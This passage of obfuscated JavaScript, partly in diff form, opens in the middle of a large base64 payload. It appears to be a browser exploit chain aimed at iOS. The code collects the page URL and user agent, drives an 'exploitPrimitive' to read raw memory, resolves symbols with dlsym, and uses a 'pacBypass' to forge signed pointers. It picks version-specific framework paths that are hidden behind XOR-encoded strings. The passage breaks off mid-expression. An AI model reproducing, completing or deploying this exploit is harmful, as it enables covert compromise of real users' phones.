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jDTMNQw1TDWMNcw2DDZMNow2zDcMN0w3jDfMOAw4TDiMOMw5DDlMOYw5zDoMOkw6jCaBPQAhQEiAbcA4gPwMPYB8jAUASQA9DAfA/cwBQE8APkwrCS6BSEBIBAiAWgA/jAUAXQAAzEIAYAABjEFAYwACTEnCAwxSAD8MFQA/DBgAPwwpAAMMWwA/DB4APwwhAD8MJAA/DCcAPwwqAD8MLQA/DDAAPwwzAD8MNgA/DDkAPww8AD8MPwA/DAIAAwxFAAMMSAADDEsAAwxOAAMMUQADDGwAAwxvAAMMcgADDHUAAwx4AAMMewADDHcAO4wFAH4AAwxBACrJhQBEABPMQgBHABSMQUBKABVMTQHWDGuBSIBTABYMVgAWDFkAFgxcABYMXwAWDGIAFgx6ABKMfkBWDGgAFgxrABYMbgAWDHEAFgx0ABYMdwAaDFYMfQAWDEAALoA4gN9MfYBfzH1MIExHwODMfowhTFYD4cxVACHMWAAhzFsAIcxeACHMYQAhzGQAIcxnACHMagAhzG0AIcxwACHMcwAhzHYAIcx5ACHMfAAhzH8AIcxCAClMMMNqTGAL/UBFAHhAeswsDGxMbIxszG0MbUxtjG3MbgxuTG6MbsxvDG9Mb4xvzHAMcExwjHDMcQxxTHGMccxyDHJMcoxyzHMMc0xzjHPMdAx0THSMdMx1DHVMdYx1zHYMdkx2jHbMdwx3THeMd8x4DHhMeIxdgQRACEATQ1TAAUDYACiLCEBFQ+PAZEBkwG3L3ouLy4AAFEAcQBwALMpQABfABoWSgBDABwCTABBAFMAUwBfACQAXwCpA0EAYi9oA2Qv4QNyAOgABQCtBQUySQDbL90v0QPfL9wuahFuAHYAvi5pAFwucQuQABQA+TGbIUYAQQBmLm8AZC+kA+IuRC/lLjQBgAAQAA8yITJCAEgvDi8uLkYAvi4+L2cZIDIcBFIA5wFMAEgvcADNA20AwS9uAEsvZACyLoAAEAY4MkYAOjJuADwyri4oMuQu5i5DMgUCkADZCF8AITJIAFQAVABQANIuqAExAF8AAwOAAMcnkTCQMAEALjIcBE8v/y70Lp0ury4GL1cyWTIDL3gA8yQsMmUyRgBnMg8vaTIEL7AueQBtMlAA6S5zAHAAqAE+L0gADy9EMn8BczJ1MtcBAy9rMnkAATJMAHouVy+9AVAuNzJVMmYyigJ2MowyVgAaMtMDfy5DAAUvaQD5A2QvAS9oAGEAvQFnGdQcXwBTAEEATgBEAEIATwBYABwCSABFAEMASwBfAE4ATwBfAFIARQBvL4YNRwGYAGIyYzIPMrQyUwD3A2MAnQIxAU8vzi9CAGwAJTJrAEcBRzIbAaouuQFwAHUAuQFhL2EAYgBNL6wDaQCyLg8yWwJELl8A1gLUL5sCbABmAHQOgABIAA8ydgBtAIgCXAJlANEBFjLNMugy6jItLl0CdgFHLlIyQAB1A2wA6wF3AWIAXwDXMi8uwy49AiEBfwEfMhwCRgBEANUCYQD+Lg8vMQFnGQAAPSIFMxwECDPWAkcA0wFCADYuZQBQAIoCDjNyABAAETMHMwkzFTN0AEwAei9nANQBHDMYAB8zRAB9LmUvjS4LMwAvHDMgACozLDPVA40uIjOYMmwAdQBSMg8zKAAfM0UAcQB1AL4uHDMwAB8zIjN9L30BSQBEABwzOABUMhwEezJNAH8ucwDsMgcyfQEvLhczMQFiAT0CcgBAAE0zRgBPM1Ez7DLNA3AAlymeLvMkWjNIAF0zXzOyAmEz/y4xAUUAbgMGLxwzUABpM1gyUABQM2szXQIvMzEB6S5AM38uNAFaM1gAdDNZMnczUjNdAiIzfTJ/MqkBZQDHMl8BcwDNA0QyHDNgAIIzdjNgM10CjjIwMnUDHDPaCvkxTjN1M4Qz7DKOMoIyYQCEMkYA2jL6MjgzOjMcM3AAHzOJMgUveQCaA14BejNlAOIv1AGHMpgCWjN4AB8z6S6jM7YzQwDKMjYyWjPxGbozgzK9M64uJSpqMq4zHDO7B10zuzNkAL0zbTPPA6QDezJ8MzozqgFaMy8mwzO8M5Uy1wGyM7Qz8wpNLzszcgCmGtkzzjPbM20ATwBVMxwzTQ3kM7YzzTMcM/0G7DPmM1MARC5lAJ8uDi/eM0oyTDIeA1ozsACdJJwzSTLEM/Iz0wG+M9oyIC9aM7gA/jMGM80ztjOOMq0zeTIcM/MWwzMyMsAzDzM1F7ozOzI9MiIzQwD8A50CBjQPM9AACTQ5Mhg0ri5KMkkAQjLCLxwzVAEXNEsyPTJPL64uHDP2Bh8zZzKQMt0z4y9DADM0vgEcM9AMMjSKApAyGjQ4NL8BWjPwACE0dDI9NL4BIjMkM74BJzNaM/gARDRANCIzxS7vLqcBZACQMhwzmw08NLwBRzTTAUczZQBJM8oz5RX/M1UAUgBMAGIzizL0M9gB1zNgNAYzYjRkNNAz8i5tAKUzTi+BLukubwN/Lnov1gJlLxwz1Q0fM2w0NTS1M0Y0QTQPMz0aOAmnMlApeQDWAW0AfS4uNJ0CZTRvMtoyWTMPM4UapjJcGcoy3C/uMWoACy9fANwuRi5nAC4D/DPjBfkxlDTLMpc0mTRUNH4ybwAUNHIAuACgNBsBXwB+AZ0uhTIPM1gk+THWMuAuHDNACaYyYgBILp0uHDOCJ6YyQi4kMpYIWjOQAjMPuQHzLnU0cQOoATQvYS7CL/4ydQBmAGYAATMPM84WpjJkAGwAsAKoNOEzuQLVNMoy6TNCNKw01jRzAIMCHDO4H6YyMgG1A8Ez2yD5MQICZQDhM4gA6jRfAKou5y9cLtcz8DRoAKg0dADsAfgD7wFaM5gA9jT4NFUySy57AV8ANy+WLuEDWjNNCqYy3TIAAvc0XgHiMvAnWjO7HPkxWwLBNBwzsADwNNIBbQBjAGMzHDO4ABg1lwM+L/k0kDRyAC0FCjVbAvszFTQDAO0xmgK+LpU0vTTwNK0ukwHzNF8CKTQwNdQB/y7rAdUCigLLNLsBbwBmM9M0NjUeCIMymjRXL3IA+jToNA8zvgWmMokCQjWjM0Q1OzUhNUQy1gJELl4BMDNCNEE1ODW5AdAz5DTwNFIzLy6FAngAuQF6AdwvVjQEAKYyPi8nNfc0nQJaNQwz7jRmNfkxaDVhL2o17TKcNMcCHDOQAG81mwJpNc4DXwB3AKMyfzMPM5gAeTWcNEMueTQINYM1bgBvA8QCEDWRNIM1cwBCLvgDFjWDNXg0HTWTNXIARC6xNCQ1ljWfLig1cgDIAJY11zTVAr00oDUbNT81cgC3JGc1igIOL5400zSWNW4AQi4+L6cvnTXoAK41sjUcM3gkqTXGAqU15DSWNbsBVjQFAGc1lQM0L0Iu9DMBAjkzcwDkA1oziADANXA1wjV9LkMuegH6NBkyaAOaMnc1zDWCAo81dADIAv001zXiNNk1bAA1Log04TOgANc14DI5LjQ1ETXlNU01+zLpAXQARC4WNdc15wEEAh011zXpMpo0wTRWNbI09TXyMp0uMQGhLrc0+zVfAJ0C6y7KNDYADAJaM9AA9TVzAIk1WTS4Lg4zeAKIAp0ufi6yAgAADABGAdgA0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")), this.xA = utilityModule.resolveUrlPadded(A), this.cA = B, this.iA = utilityModule.resolveUrlPadded(g), this.GA = !0; + let D = document.URL; + for (D += "\0"; D.length % 4 != 0;) D += "\0"; + let M = navigator.userAgent; + for (this.OA = utilityModule.utf16Decode(D), M += "\0"; M.length % 4 != 0;) M += "\0"; + this.KA = utilityModule.utf16Decode(M), this.RA = new Offset64(0, 0), this.kA = new Offset64(0, 0), this.zA = new Offset64(0, 0) + } + length() { + return 2 * (this.yA.length + this.oA.length + this.xA.length + this.cA.length + this.OA.length + this.KA.length + this.iA.length) + } + FA(A) { + this.RA = A + } + VA() { + return this.RA + } + YA() { + return this.RA.add(2 * this.oA.length) + } + HA() { + let A = this.VA(); + return null !== A && (A = A.add(this.length())), A + } + SA(A) { + const B = this.VA(); + let g = B.add(2 * this.oA.length).add(2 * this.yA.length); + const Q = g.add(2 * this.cA.length), + D = Q.add(2 * this.xA.length), + M = D.add(2 * this.OA.length), + w = M.add(2 * this.KA.length), + C = w.add(2 * this.iA.length); + let I = null; + const E = new Offset64(B.it, B.et), + U = new Offset64(g.it, g.et), + N = new Offset64(Q.it, Q.et), + F = new Offset64(D.it, D.et), + k = new Offset64(M.it, M.et), + T = new Offset64(w.it, w.et), + S = new Offset64(A.it, A.et), + o = new Offset64(C.it, C.et), + G = new Offset64(this.kA.it, this.kA.et), + Y = new Offset64(this.zA.it, this.zA.et); + let L = new Offset64(0, 0), + R = new Offset64(0, 0), + c = new Offset64(0, 0), + V = new Offset64(0, 0), + q = new Offset64(0, 0), + s = new Offset64(0, 0), + H = new Offset64(0, 0), + l = new Offset64(0, 0), + K = new Offset64(0, 0); + const J = new Offset64(0 | platformModule.platformState.kn, 0), + i = new Offset64(platformModule.platformState.Pn ? 1 : 0, 0); + if (null !== platformModule.platformState.caller && !0 === platformModule.platformState.qn) { + const A = platformModule.platformState.pacBypass, + B = platformModule.platformState.exploitPrimitive, + g = platformModule.cr(), + Q = g.Sh(), + D = g.bh(([61, 61, 54, 39, 58, 54].map(x => { + return String.fromCharCode(x ^ 98); + }).join("")), ([6, 6, 45, 60, 33, 45].map(x => { + return String.fromCharCode(x ^ 89); + }).join(""))), + M = g.dlsym(([104, 109, 121, 4, 125, 100, 116, 6, 1, 93, 94, 67, 120, 71, 82, 69, 86, 67, 94, 88, 89, 123, 94, 68, 67, 114].map(x => { + return String.fromCharCode(x ^ 55); + }).join(""))), + w = B.readRawBigInt(M), + C = B.read32(w - 4), + I = function(A, g) { + for (let Q = 0; Q < C; Q++) { + const M = B.readRawBigInt(w + 16 * Q), + C = 8; + if (D.qe <= M && M <= D.qe + D.Oo - C && B.read32(M) === A && B.read32(M + 4) === g) return B.readInt64FromOffset(w + 16 * Q + 8) + } + return utilityModule.Int64.fromNumber(0) + }((4294967296 + (1815693649 ^ -1095734404)), (4294967296 + (1261726303 ^ -1674877422))); + if (I.Et()) throw new Error("I.Et()"); + H = new Offset64(I.it, I.et); + const E = (1094272596 ^ 1094258501), + U = function(A, g) { + const D = Q.Jh(A)._h(([45, 45, 38, 55, 42, 38].map(x => { + return String.fromCharCode(x ^ 114); + }).join("")), ([46, 46, 5, 20, 9, 5].map(x => { + return String.fromCharCode(x ^ 113); + }).join(""))), + M = D.qe + D.Oo - 4 * g.length; + for (let A = D.qe; A <= M; A += 4) { + let Q = !0; + for (let D = 0; D < g.length; D++) + if (B.read32(A + 4 * D) !== g[D]) { + Q = !1; + break + } if (Q) return A + } + return 0 + }, + N = function(A, B, g) { + const Q = B(gA.Int64.fromNumber(A), gA.Int64.fromNumber(g)); + return new Offset64(Q.it, Q.et) + }; + let F = 0, + k = 0; + if (platformModule.platformState.iOSVersion >= (1985309763 ^ 1985475639) ? (F = U(([101, 25, 51, 57, 62, 47, 39, 101, 6, 35, 40, 56, 43, 56, 51, 101, 26, 56, 35, 60, 43, 62, 47, 12, 56, 43, 39, 47, 61, 37, 56, 33, 57, 101, 2, 37, 39, 47, 25, 34, 43, 56, 35, 36, 45, 100, 44, 56, 43, 39, 47, 61, 37, 56, 33, 101, 2, 37, 39, 47, 25, 34, 43, 56, 35, 36, 45].map(x => { + return String.fromCharCode(x ^ 74); + }).join("")), [(4294967296 + (1362583920 ^ -79994216)), (4294967296 + (1098151013 ^ -1812989836)), (4294967296 + (943810096 ^ -279023775))]), k = (1400321110 ^ 1400367158)) : platformModule.platformState.iOSVersion >= (1850763569 ^ 1850929441) ? (F = U(([75, 55, 29, 23, 16, 1, 9, 75, 40, 13, 6, 22, 5, 22, 29, 75, 34, 22, 5, 9, 1, 19, 11, 22, 15, 23, 75, 39, 11, 22, 1, 41, 40, 74, 2, 22, 5, 9, 1, 19, 11, 22, 15, 75, 39, 11, 22, 1, 41, 40].map(x => { + return String.fromCharCode(x ^ 100); + }).join("")), [(4294967296 + (1215117623 ^ -496944417)), (4294967296 + (1600285035 ^ -1913457222)), (4294967296 + (845756758 ^ -445239289))]), k = (1969898071 ^ 1969931953)) : platformModule.platformState.iOSVersion >= (1768779636 ^ 1768889828) ? (F = U(([90, 38, 12, 6, 1, 16, 24, 90, 57, 28, 23, 7, 20, 7, 12, 90, 51, 7, 20, 24, 16, 2, 26, 7, 30, 6, 90, 54, 26, 7, 16, 56, 57, 91, 19, 7, 20, 24, 16, 2, 26, 7, 30, 90, 54, 26, 7, 16, 56, 57].map(x => { + return String.fromCharCode(x ^ 117); + }).join("")), [(4294967296 + (759260783 ^ -2024970873)), (4294967296 + (946626871 ^ -353237882)), (4294967296 + (1365330550 ^ -2038545625))]), k = (1281845618 ^ 1281858143)) : platformModule.platformState.iOSVersion >= (1329876077 ^ 1330003309) ? (F = U(([66, 62, 20, 30, 25, 8, 0, 66, 33, 4, 15, 31, 12, 31, 20, 66, 61, 31, 4, 27, 12, 25, 8, 43, 31, 12, 0, 8, 26, 2, 31, 6, 30, 66, 37, 2, 0, 8, 62, 5, 12, 31, 4, 3, 10, 67, 11, 31, 12, 0, 8, 26, 2, 31, 6, 66, 37, 2, 0, 8, 62, 5, 12, 31, 4, 3, 10].map(x => { + return String.fromCharCode(x ^ 109); + }).join("")), [(4294967296 + (1280001392 ^ -431536488)), (4294967296 + (1869170283 ^ -1107682342)), (4294967296 + (1968653415 ^ -1572319946))]), k = (1685017431 ^ 1685047738)) : (F = U(([27, 103, 77, 71, 64, 81, 89, 27, 120, 93, 86, 70, 85, 70, 77, 27, 114, 70, 85, 89, 81, 67, 91, 70, 95, 71, 27, 121, 81, 80, 93, 85, 96, 91, 91, 88, 86, 91, 76, 26, 82, 70, 85, 89, 81, 67, 91, 70, 95, 27, 121, 81, 80, 93, 85, 96, 91, 91, 88, 86, 91, 76].map(x => { + return String.fromCharCode(x ^ 52); + }).join("")), [(4294967296 + (1885753709 ^ -630566267)), (4294967296 + (1297641294 ^ -1614438049)), (4294967296 + (1382503252 ^ -2055710203))]), k = (963522678 ^ 963567110)), 0 === F) throw new Error(""); + q = N(F, A.pacia.bind(A), E); + let T = 0; + if (platformModule.platformState.iOSVersion >= (1915904596 ^ 1915812384) ? (T = U(([71, 59, 17, 27, 28, 13, 5, 71, 36, 1, 10, 26, 9, 26, 17, 71, 56, 26, 1, 30, 9, 28, 13, 46, 26, 9, 5, 13, 31, 7, 26, 3, 27, 71, 56, 9, 27, 27, 35, 1, 28, 43, 7, 26, 13, 70, 14, 26, 9, 5, 13, 31, 7, 26, 3, 71, 56, 9, 27, 27, 35, 1, 28, 43, 7, 26, 13].map(x => { + return String.fromCharCode(x ^ 104); + }).join("")), [(4294967296 + (1917544821 ^ -666867049)), (4294967296 + (1749119600 ^ -1160969919)), (4294967296 + (1194800755 ^ -1876410462))]), l = new Offset64((962539844 ^ 962548445), 0)) : platformModule.platformState.iOSVersion >= (1297756778 ^ 1297656442) ? (T = U(([26, 102, 76, 70, 65, 80, 88, 26, 121, 92, 87, 71, 84, 71, 76, 26, 101, 71, 92, 67, 84, 65, 80, 115, 71, 84, 88, 80, 66, 90, 71, 94, 70, 26, 116, 69, 69, 89, 80, 120, 80, 81, 92, 84, 102, 80, 71, 67, 92, 86, 80, 70, 27, 83, 71, 84, 88, 80, 66, 90, 71, 94, 26, 116, 69, 69, 89, 80, 120, 80, 81, 92, 84, 102, 80, 71, 67, 92, 86, 80, 70].map(x => { + return String.fromCharCode(x ^ 53); + }).join("")), [(4294967296 + (1599227241 ^ -178698613)), (4294967296 + (1852667756 ^ -1124683491)), (4294967296 + (1517506616 ^ -1922278935))]), l = new Offset64((809002358 ^ 809024325), 0)) : platformModule.platformState.iOSVersion >= (1516328278 ^ 1516447686) ? (T = U(([126, 2, 40, 34, 37, 52, 60, 126, 29, 56, 51, 35, 48, 35, 40, 126, 1, 35, 56, 39, 48, 37, 52, 23, 35, 48, 60, 52, 38, 62, 35, 58, 34, 126, 2, 33, 35, 56, 63, 54, 19, 62, 48, 35, 53, 127, 55, 35, 48, 60, 52, 38, 62, 35, 58, 126, 2, 33, 35, 56, 63, 54, 19, 62, 48, 35, 53].map(x => { + return String.fromCharCode(x ^ 81); + }).join("")), [(4294967296 + (1968197987 ^ -547401087)), (4294967296 + (1162700652 ^ -1747037795)), (4294967296 + (1700285543 ^ -1303951946))]), l = new Offset64((2003448912 ^ 2003480039), 0)) : platformModule.platformState.iOSVersion >= (1900894535 ^ 